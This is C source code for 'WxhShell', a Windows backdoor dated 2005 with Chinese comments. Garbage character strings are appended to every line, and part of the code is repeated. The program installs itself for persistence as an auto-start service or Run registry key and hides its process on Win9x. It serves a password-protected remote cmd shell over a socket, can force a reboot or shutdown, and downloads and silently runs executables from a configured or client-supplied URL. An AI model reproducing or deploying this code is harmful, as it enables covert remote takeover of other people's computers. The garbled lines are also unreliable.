    closesocket(wsh); vcP_gJz  
    ExitThread(0); 7VLn$q]:  
    } +Q:)zE  
    break; +\.0Pr  
    } b: I0Zv6  
  // 获取shell tCj\U+;  
  case 's': { |uJjO>8]|  
    CmdShell(wsh); nbDjoZZ4  
    closesocket(wsh); IY@N  
    ExitThread(0); OskQ[ e0  
    break; H<*n5r(c  
  } ^*,?x  
  // 退出 J8&0l&~ 6  
  case 'x': { &~=d;llkT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LO%OH u}]  
    CloseIt(wsh); _akpW  
    break; m9ky?A,  
    } PoRP]Q*n  
  // 离开 4`?WdCW8  
  case 'q': { 'SWK{t \4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8b25D|8l  
    closesocket(wsh); H[?l)nZ}  
    WSACleanup(); anH]]  
    exit(1); Zo Ra^o  
    break; hXc:y0 0  
        } Bv 7os3xb  
  } bhW&,"$Z  
  } <^e  
+rDKx(Rk  
  // 提示信息 kr44@!s+'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FJsM3|{2=d  
} UQBc$`v  
  } {@tO9pc`8  
t+Qx-sW  
  return;  qt. =  
} J(,{ -d-E  
a0`(* #P  
// shell模块句柄 "~08<+  
int CmdShell(SOCKET sock) c$;Cpt@-j  
{ byk9"QeY\  
STARTUPINFO si; {@t6[g++  
ZeroMemory(&si,sizeof(si)); '*K%\]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CI|#,^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c <X( S  
PROCESS_INFORMATION ProcessInfo; [3v&j_  
char cmdline[]="cmd"; OXV9D:bIa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G~f|Sx  
  return 0; 22EI`}"J  
} b C"rQJg  
k !g%vx  
// 自身启动模式 ca'c5*Fs  
int StartFromService(void) o"qG'\x  
{ aBKJd  
typedef struct [-nPHmZV[  
{ G;J!3A;TE  
  DWORD ExitStatus; h- %RSei5  
  DWORD PebBaseAddress; X $SXDb~G  
  DWORD AffinityMask; [qxDCuxq  
  DWORD BasePriority; y# IUDnRJ  
  ULONG UniqueProcessId; CmtDfE  
  ULONG InheritedFromUniqueProcessId; [tJp^?6*  
}   PROCESS_BASIC_INFORMATION; 6^z):d#u  
!*,m=*[3  
PROCNTQSIP NtQueryInformationProcess;  N1dM,H  
E$4Ik.k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wqJ1^>TB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '.XR,\g>  
|_16IEJ  
  HANDLE             hProcess; dF+:9iiAm  
  PROCESS_BASIC_INFORMATION pbi; "iuNYM5 P  
HQc^ybX5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `OWwqLoeA  
  if(NULL == hInst ) return 0; %eJE@$  
vZ|Wj] ;o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *>jJ<8!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6I\4Yv$N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zoau5t  
!Ic~_7"  
  if (!NtQueryInformationProcess) return 0; 3Zm;:v4y  
({h W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r@G34Q C+  
  if(!hProcess) return 0; 4z^VwKH\j  
&C6*"JZ4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H  `_{n<  
5Qxm\?0J  
  CloseHandle(hProcess); VW**N}1#C  
xsx0ZovhY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C=DC g  
if(hProcess==NULL) return 0; .s3y^1C  
D|/ 4),v  
HMODULE hMod; (5)DQ 1LaF  
char procName[255]; 9@YhAj  
unsigned long cbNeeded; xepp."O  
 SB^xq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +QEiY~i  
YvFt*t  
  CloseHandle(hProcess); 69zMWuY  
Q'Y7PG9m~  
if(strstr(procName,"services")) return 1; // 以服务启动 Ym9~/'%]  
_[y<u})  
  return 0; // 注册表启动 +wm%`N;v<  
} `q7X(x  
}IV=qW,  
// 主模块 AL[,&_&uV  
int StartWxhshell(LPSTR lpCmdLine) -\8v{ry  
{ !InC8+be  
  SOCKET wsl; 77%I%<#  
BOOL val=TRUE; %"AB\lL.  
  int port=0; :Gf  
  struct sockaddr_in door; KOhIk*AC '  
'H'R6<z5  
  if(wscfg.ws_autoins) Install(); 32K  
9@ :QBe3]  
port=atoi(lpCmdLine); F7JF1HfCP  
p u[S  
if(port<=0) port=wscfg.ws_port; ZY8:7Q@P>  
o=C'u  
  WSADATA data; 4u7^v1/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2h`Tn{&1/  
'A'[N :i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {A{sRT=%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N"zm  
  door.sin_family = AF_INET; \mNN ) K@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &>vfm9  
  door.sin_port = htons(port); Z \;{e'#o  
1raq;^e9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @ gjA8mL  
closesocket(wsl); Eu$hC]w  
return 1; q4Y7 HE|ym  
} ; r95i1a'  
g ?{o2gG  
  if(listen(wsl,2) == INVALID_SOCKET) { :+meaxbu  
closesocket(wsl); cA B<'44R  
return 1; QJU\YH%}  
} A%.ZesjAx  
  Wxhshell(wsl); >]ZW.?1h  
  WSACleanup(); uQz!of%x  
1F{,Zr  
return 0; K8fC>iNbH  
i?'|}tK  
} $SdpF-'  
,y[8Vz?:  
// 以NT服务方式启动 lZ?YyRsa6&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <4.j] BE  
{ 3NN )ql  
DWORD   status = 0; sQLjb8!7  
  DWORD   specificError = 0xfffffff; /q?g py  
Gw+pjSJL`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "; mlQyP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F??gVa aj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9rgvwko  
  serviceStatus.dwWin32ExitCode     = 0; !iU$-/,1e  
  serviceStatus.dwServiceSpecificExitCode = 0; lF3wTf/j  
  serviceStatus.dwCheckPoint       = 0; 1n~^@f#`  
  serviceStatus.dwWaitHint       = 0; #:tC^7qk  
y`8jz,&.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m tVoA8(6  
  if (hServiceStatusHandle==0) return; h<bCm`qj  
j-7aJj%  
status = GetLastError(); 8_T9[ ]7V8  
  if (status!=NO_ERROR) \n^;r|J7k  
{ m Q^SpK #  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xtzkgb,0[  
    serviceStatus.dwCheckPoint       = 0; Ui`#B  
    serviceStatus.dwWaitHint       = 0; >lF@M-  
    serviceStatus.dwWin32ExitCode     = status; ricL.[v9S  
    serviceStatus.dwServiceSpecificExitCode = specificError; TPNKvv!s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ev1:0P  
    return; u4DrZ-v  
  } %;b]k  
wnHfjF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ln_[@K[oX  
  serviceStatus.dwCheckPoint       = 0; a.fdCI]%  
  serviceStatus.dwWaitHint       = 0; S#S&_#$`,X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mi@ni+2Tn  
} !JA//{?  
` pfRY!  
// 处理NT服务事件,比如:启动、停止 kQO-V4z!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^CP>|JWD^  
{ $Ao'mT  
switch(fdwControl) *Nur>11D  
{ ,n &Lp  
case SERVICE_CONTROL_STOP: \W 7pSV-U  
  serviceStatus.dwWin32ExitCode = 0; t@q==VHF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o&>aYlXd  
  serviceStatus.dwCheckPoint   = 0; 06[HE7  
  serviceStatus.dwWaitHint     = 0; ^m-w@0^z  
  { 'Ej+Jczzpp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3|bbJ6*.<  
  } bRK\Tua 6  
  return; S%jFH4#  
case SERVICE_CONTROL_PAUSE: 5TLE%#G@+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iKG,"  
  break; )&qr2Cm*  
case SERVICE_CONTROL_CONTINUE: sCE%./h]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g1)ZjABV  
  break; ~%@1-  
case SERVICE_CONTROL_INTERROGATE: FA{(gib@9  
  break; $.zd,}l@L  
}; D&G^|: G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Yh*ywwP#  
} |g1Pr9{wy  
I/go$@E"  
// 标准应用程序主函数 p;~oIy\,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t\f[->f  
{ %$67*pY'JH  
+NVXFjPC  
// 获取操作系统版本 Cm9#FA  
OsIsNt=GetOsVer(); 2IXtIE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ywA7hm  
>.-4CJ])d  
  // 从命令行安装 A+(+Pf U  
  if(strpbrk(lpCmdLine,"iI")) Install(); DSlO.) dHu  
g-4ab|F  
  // 下载执行文件 'l_F@ZO{(  
if(wscfg.ws_downexe) { 12tk$FcY8*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $4hi D;n  
  WinExec(wscfg.ws_filenam,SW_HIDE); NKl`IiGv  
} pRA%07?W  
%JI*)K1WI  
if(!OsIsNt) { V,]Fh5f  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?Cv([ ^Y.u  
HideProc(); Ezr q2/~Q  
StartWxhshell(lpCmdLine); 0rxGb} b*  
} WAJ KP"  
else Q;GcV&f;f  
  if(StartFromService()) #X2wy$GTG  
  // 以服务方式启动 IUz`\BO4  
  StartServiceCtrlDispatcher(DispatchTable); S2>$S^[U  
else HQMug  
  // 普通方式启动 /z:1nq  
  StartWxhshell(lpCmdLine); o $'K}U  
xXSfYW  
return 0; nX8ulGGs  
} eo^C[# .  
wV\G$|Y  
uw(Ml=  
Gh 352  
=========================================== 3gtKD9RL:  
FcyF E~>2  
"^wIixOH5  
;7*T6~tv  
yw{r:fy  
t :~,7  
" l[C_vUg  
TSVlZy~Xo  
#include <stdio.h> gH*(1*  
#include <string.h> =,8nfJ+x  
#include <windows.h> ,P=.x%  
#include <winsock2.h> rU|?3x  
#include <winsvc.h> x<PJ5G L  
#include <urlmon.h> r 5t{I2  
4 RfBXVS  
#pragma comment (lib, "Ws2_32.lib") = BbG2k  
#pragma comment (lib, "urlmon.lib") >ByqM{?  
[}l#cG6 k  
#define MAX_USER   100 // 最大客户端连接数 RDEK=^J  
#define BUF_SOCK   200 // sock buffer c )=a;_h  
#define KEY_BUFF   255 // 输入 buffer AuZISb%6  
b*ja,I4  
#define REBOOT     0   // 重启 ;te( {u+  
#define SHUTDOWN   1   // 关机 t#w,G  
g!OcWy)7  
#define DEF_PORT   5000 // 监听端口 `26.+>Z7  
bz.sWBugR  
#define REG_LEN     16   // 注册表键长度 Y^y:N$3$\  
#define SVC_LEN     80   // NT服务名长度 [I/ZzDMX  
<C451+95  
// 从dll定义API 8fktk?|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1L?d/j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~y"OyOi&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'S*]JZ1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lgZ9*@d  
?Ezy0>j  
// wxhshell配置信息 wN^^_  
struct WSCFG { Ao#bREm  
  int ws_port;         // 监听端口 VP<LY/'f  
  char ws_passstr[REG_LEN]; // 口令 QL*RzFAD 3  
  int ws_autoins;       // 安装标记, 1=yes 0=no (G(M"S SC  
  char ws_regname[REG_LEN]; // 注册表键名 >XX93  
  char ws_svcname[REG_LEN]; // 服务名 G ]uz$V6!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ta^$&$l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r! [Qpb-:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xzOn[.Fi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `gyk e2n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" + R~ !G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y=Z[_L!xr  
&WOm[]Q4  
}; WD! " $  
RxNLn/?d@  
// default Wxhshell configuration YL78cWOs  
struct WSCFG wscfg={DEF_PORT, &3 Ki  
    "xuhuanlingzhe", ?cn`N|   
    1, o-JB,^TE  
    "Wxhshell", h B_p  
    "Wxhshell", _>;{+XRX[  
            "WxhShell Service", yPg0 :o-  
    "Wrsky Windows CmdShell Service", ;Sg,$`]  
    "Please Input Your Password: ", i0*Cs#(=h  
  1, T Qx<lw  
  "http://www.wrsky.com/wxhshell.exe", 57O|e/2  
  "Wxhshell.exe" 6ND*L0  
    }; ;mC|> wSZ  
]2YC7  
// 消息定义模块 JSmg6l?[u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ql9>i;AGV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1_l)$"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pF9WKpzE  
char *msg_ws_ext="\n\rExit."; u:tcL-;U  
char *msg_ws_end="\n\rQuit."; P&<NcOCL&  
char *msg_ws_boot="\n\rReboot..."; Onou:kmf1  
char *msg_ws_poff="\n\rShutdown..."; v`G}sgn  
char *msg_ws_down="\n\rSave to "; lCBH3-0^  
*{5/" H5  
char *msg_ws_err="\n\rErr!"; ;=k{[g 'gv  
char *msg_ws_ok="\n\rOK!"; ,X;$-.  
_18Z]XtX  
char ExeFile[MAX_PATH]; 5NhAb$q2Y  
int nUser = 0; qq3/K9 #y  
HANDLE handles[MAX_USER]; VJl0UM3{J  
int OsIsNt; 0C\cM92o  
s,AJR [  
SERVICE_STATUS       serviceStatus; 2.]d~\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Dy 8H(_  
LC$M_Cpw  
// 函数声明 hpYv*WH:  
int Install(void); m)?0;9bt  
int Uninstall(void); X*w;6 V  
int DownloadFile(char *sURL, SOCKET wsh); )>U"WZ'<  
int Boot(int flag); #2$wI^O  
void HideProc(void); -$_FKny  
int GetOsVer(void); B-$zioZ  
int Wxhshell(SOCKET wsl); wXZ9@(^  
void TalkWithClient(void *cs); W~a|AU8]C  
int CmdShell(SOCKET sock);  WFhppi   
int StartFromService(void); 9W_mSum  
int StartWxhshell(LPSTR lpCmdLine); hwQ|'^(@O  
]6s/y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :SWrx MT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /-t!)_zvw  
a>9_#_hI  
// 数据结构和表定义 <:T/hm$  
SERVICE_TABLE_ENTRY DispatchTable[] = [>\e@ =  
{ ~4O3~Y_+GN  
{wscfg.ws_svcname, NTServiceMain}, D:?"Rf{)  
{NULL, NULL} !%DE(E*'(  
}; _n{_\/A6f  
UEt78eN  
// 自我安装 -#R`n'/  
int Install(void) t0kZFU  
{ Fy!s$!\C0  
  char svExeFile[MAX_PATH]; 9_.pLLx  
  HKEY key; @F*z/E}e  
  strcpy(svExeFile,ExeFile); 3orL;(.G  
5|>ms)[RQ  
// 如果是win9x系统,修改注册表设为自启动 i )$+#N  
if(!OsIsNt) { eibkG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0>D*d'xLd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F 9d6#~  
  RegCloseKey(key); "%S-(ue:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VUP. \Vry  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VS_\bIC  
  RegCloseKey(key); q?)5yukeF  
  return 0;  TU6YS<  
    } aY;34SF  
  } "gzn%k[D9m  
} vu}U2 0@  
else { !0UfX{.  
3Zs0W{OxU  
// 如果是NT以上系统,安装为系统服务 X+<9 -]=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9`5.0**  
if (schSCManager!=0) Ktvs*.?  
{ 6}0_o[23  
  SC_HANDLE schService = CreateService ( ]0F3@k#s  
  ( vb]uO ' l  
  schSCManager, W(?J,8>  
  wscfg.ws_svcname, 2"j&_$#l5X  
  wscfg.ws_svcdisp, .6y*Z+Zg  
  SERVICE_ALL_ACCESS, lbw+!{Ch  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &5sPw^{,H  
  SERVICE_AUTO_START, dM19;R@4  
  SERVICE_ERROR_NORMAL, bY*_6SPK4  
  svExeFile, |id7@3leu  
  NULL, oHp"\Z&  
  NULL, /v| b]Ji  
  NULL, lw?C:-m  
  NULL, %[ *+  
  NULL (~! @Uz5  
  ); 7;C~>WlU  
  if (schService!=0) R/Sm  
  { [u J<]  
  CloseServiceHandle(schService); ,KF>@3f  
  CloseServiceHandle(schSCManager); 6 OvH"/X4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zlTLp-^Y  
  strcat(svExeFile,wscfg.ws_svcname); SB5qm?pT8<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b"`fS`@/MW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B# .xs>{N  
  RegCloseKey(key); H4{7,n  
  return 0; 'O9Yu{M  
    } DYC2bs>  
  } UEm4):/}  
  CloseServiceHandle(schSCManager); g2*}XS 3  
} $P#+Y,r~\  
} 2chT^3e  
30(e6T;   
return 1; +W8#]u|  
} :D>flZi  
[nX{ sM%  
// 自我卸载 -;RAW1]}Y$  
int Uninstall(void) V:+vB "  
{ d{(Rs.GuP  
  HKEY key; ;- Vs|X  
hp}rCy|01  
if(!OsIsNt) { {!{T,_ J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /X#OX 8gb]  
  RegDeleteValue(key,wscfg.ws_regname); I\rjw$V#  
  RegCloseKey(key); i=M[$   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mz;ExV16  
  RegDeleteValue(key,wscfg.ws_regname); ~ 7Nqwwx  
  RegCloseKey(key); aO9\8\^  
  return 0; N[O_}_  
  } 9o6qN1A0g  
} rXip"uz(K>  
} S"87 <o  
else { ?Iaqbt%2  
d4Y[}Fcp+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IF//bgk-  
if (schSCManager!=0) -GQ.B{%G  
{ T2mZkK?rA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NcX-* o  
  if (schService!=0) L;b-=mF  
  { (5[#?_~  
  if(DeleteService(schService)!=0) { ~{kA;uw  
  CloseServiceHandle(schService); 73tjDO7d  
  CloseServiceHandle(schSCManager); @wP.Rd  
  return 0; _n4`mL8>kH  
  } ZX{eggXl  
  CloseServiceHandle(schService);  P/]8+_K  
  } BCd0X. m(  
  CloseServiceHandle(schSCManager); I>-}ys`[  
} *]kE3  
} r.:f.AY{  
,p\*cHB9  
return 1; ,pkzNe`F  
} `fVzY"Qv k  
qPhVc9D#  
// 从指定url下载文件 AO5a  
int DownloadFile(char *sURL, SOCKET wsh) HJ!)&xT  
{ Esg:  
  HRESULT hr; 2elj@EB,M  
char seps[]= "/"; F[.IF5_  
char *token; 2Y=Q%  
char *file; "[Tr"nI  
char myURL[MAX_PATH]; Kj6+$l   
char myFILE[MAX_PATH]; 6e}T zc\@(  
A?)(^  
strcpy(myURL,sURL); v yP_qG  
  token=strtok(myURL,seps); td#m>S  
  while(token!=NULL) +yHzp   
  { +,D82V7S  
    file=token; 7bJM $  
  token=strtok(NULL,seps); >S?7-2X  
  } kaDn= ={YM  
: R8+jO   
GetCurrentDirectory(MAX_PATH,myFILE); &N %-.&t'  
strcat(myFILE, "\\"); 2fPMZ7Zd3  
strcat(myFILE, file); `0{qfms  
  send(wsh,myFILE,strlen(myFILE),0); U?(,Z$:N  
send(wsh,"...",3,0); p4b6TI9;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :4COPUBpPV  
  if(hr==S_OK) J=n^&y  
return 0; sn@)L~$V  
else g|!=@9[dv  
return 1; Ww{-(Ktx  
-r0oO~KT  
} 1;>RK  
xlW>3'uHfa  
// 系统电源模块 SC2g5i`  
int Boot(int flag) H"2,Q T  
{ HI)U6.'  
  HANDLE hToken; i l%9j  
  TOKEN_PRIVILEGES tkp; _b=})**  
o%Qn%gaX  
  if(OsIsNt) { wo^1%:@/2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^$lsmF]^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o`}8ZtD  
    tkp.PrivilegeCount = 1; 2TaHWw<A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hrOp9|!m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2L1Azx  
if(flag==REBOOT) { %';DBozZ   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hDEZq>&  
  return 0; ]08~bL1Q  
} "xD5>(|^+Q  
else { r1$x}I#Zv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? 5hwz  
  return 0; "n<u(m8E  
} +,9Mufh  
  } '9|R7  
  else { ^}GR!990  
if(flag==REBOOT) { b55G1w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q?&JS  
  return 0; [3W+h1  
} uRw%`J4H  
else { Fd9Z7C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7|?Ht]  
  return 0; jH4Wu`r;m  
} 9p"';*{=  
} m$q*  
u #7AB>wi{  
return 1; @{880 5Dp  
} sM%.=~AN  
j!`2Z@  
// win9x进程隐藏模块 zU};|Zw  
void HideProc(void) V0:db  
{ u\UI6/  
jTY{MY Jh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e?-LB  
  if ( hKernel != NULL ) G@S'_  
  { (8j@+J   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S'v UxOAo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H Sk}09GV  
    FreeLibrary(hKernel); .ZH5^Sv$vp  
  } :.\h.H;  
`3F/7$q_  
return; 9M-/{D^+<  
} *(<3 oIRS  
dtq]_HvTJ  
// 获取操作系统版本 yAVt[+0  
int GetOsVer(void) v y F(k3W  
{ UIw6~a3E  
  OSVERSIONINFO winfo;  eYRm:KC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YA^g[,  
  GetVersionEx(&winfo); ,[Z;"wE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GP}+c8|2  
  return 1; *|:]("i  
  else q]t^6m&-  
  return 0; !GVxQll[f  
} ' 9  
Yy0m &3[  
// 客户端句柄模块 <8/lHQ^\)  
int Wxhshell(SOCKET wsl) w+ tO@  
{ rx;zd?  
  SOCKET wsh; k$ } 6Qd  
  struct sockaddr_in client; ZsYT&P2  
  DWORD myID; x68s$H  
~# |p=Y  
  while(nUser<MAX_USER) /d-7n|#E  
{ ZpY"P6  
  int nSize=sizeof(client); rk(0w|zR+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FKB)o7  
  if(wsh==INVALID_SOCKET) return 1; >pA9'KWs]  
]qc2jut"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b; 4;WtBO  
if(handles[nUser]==0) @;z}Hk0A  
  closesocket(wsh); 'GcZxF0  
else aG\B?pn-  
  nUser++; U z6XQskX  
  } mCx6$jz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O k~\  
$eBE pN  
  return 0; 7gQ~"Q  
} I^6zUVH  
jVu3!{}  
// 关闭 socket /c1FFkq|K  
void CloseIt(SOCKET wsh) wA}+E)x/C  
{ .oo>NS  
closesocket(wsh); !xK`:[B  
nUser--; e: :H1V  
ExitThread(0); BK]q^.7+:  
} nEm+cHHo?  
vd<" G}  
// 客户端请求句柄 Ws`P(WHm  
void TalkWithClient(void *cs) SLc'1{  
{ 07+Qai-]  
<kmn3w,vi  
  SOCKET wsh=(SOCKET)cs; w~g)Dz2G  
  char pwd[SVC_LEN]; r yO\$m  
  char cmd[KEY_BUFF]; 6y9#am?  
char chr[1]; ToVm]zPOUt  
int i,j; : LI*#~'Ka  
Io&F0~Z;;(  
  while (nUser < MAX_USER) { 5q?ZuAAA  
b=+'i  
if(wscfg.ws_passstr) { NUH#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /P0%4aWu=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H;$OCDRC  
  //ZeroMemory(pwd,KEY_BUFF); |ldRs'c{  
      i=0; 6(}8[i:  
  while(i<SVC_LEN) { SpY%2Y.Dy  
""ICdZ_A  
  // 设置超时 PZ"=t!  
  fd_set FdRead; 9YpD\H`  
  struct timeval TimeOut; .r?-O{2t  
  FD_ZERO(&FdRead); 7=8e|$K_  
  FD_SET(wsh,&FdRead); ZWSYh>"  
  TimeOut.tv_sec=8; OE/O:F:1j  
  TimeOut.tv_usec=0; HLU'1As65  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LdAfY0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "tbKKh66  
/ %U+kW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e;<=aa)}?  
  pwd=chr[0]; yg gQ4y6  
  if(chr[0]==0xd || chr[0]==0xa) { Dw^d!%Ala  
  pwd=0; ]|[oL6"  
  break; ;Z"6ve4  
  } ]J C}il_b  
  i++; T0Q)}%L  
    } yA!#>u%g  
|,Y(YSg.  
  // 如果是非法用户,关闭 socket A@ EeX4N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kuy,qZv!"  
} P/?`  
t3b%f`D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FHI` /  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P-VK=Y1q  
969*mcq'  
while(1) { _*+ 7*vAL  
PK5xnT:  
  ZeroMemory(cmd,KEY_BUFF); w7 ]@QTC  
Z!m0nx  
      // 自动支持客户端 telnet标准   [= -?n6  
  j=0; ~fE@]~f>  
  while(j<KEY_BUFF) { CC>]Gc7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wg*2mo  
  cmd[j]=chr[0]; },'2j  
  if(chr[0]==0xa || chr[0]==0xd) { hof:+aW  
  cmd[j]=0; ajW[}/)  
  break; 0*q&)  
  } c?CjJ}-7  
  j++; 9Ay*'   
    } 5~CHj  
0I4RZ.2*Y  
  // 下载文件 a="Z]JGk  
  if(strstr(cmd,"http://")) { V7!x-E/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C9U~lcIS  
  if(DownloadFile(cmd,wsh)) *S_eYKSl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dg4 ?,{c9W  
  else m#mM2Guxe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !h{qO&ZH=  
  } '@9h@,tc  
  else { *?K3jy{  
hp!UW  
    switch(cmd[0]) { )W~w72j-  
  # &o3[.)9  
  // 帮助 Q uy5H  
  case '?': { Kgi%Nd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `(?E-~#'  
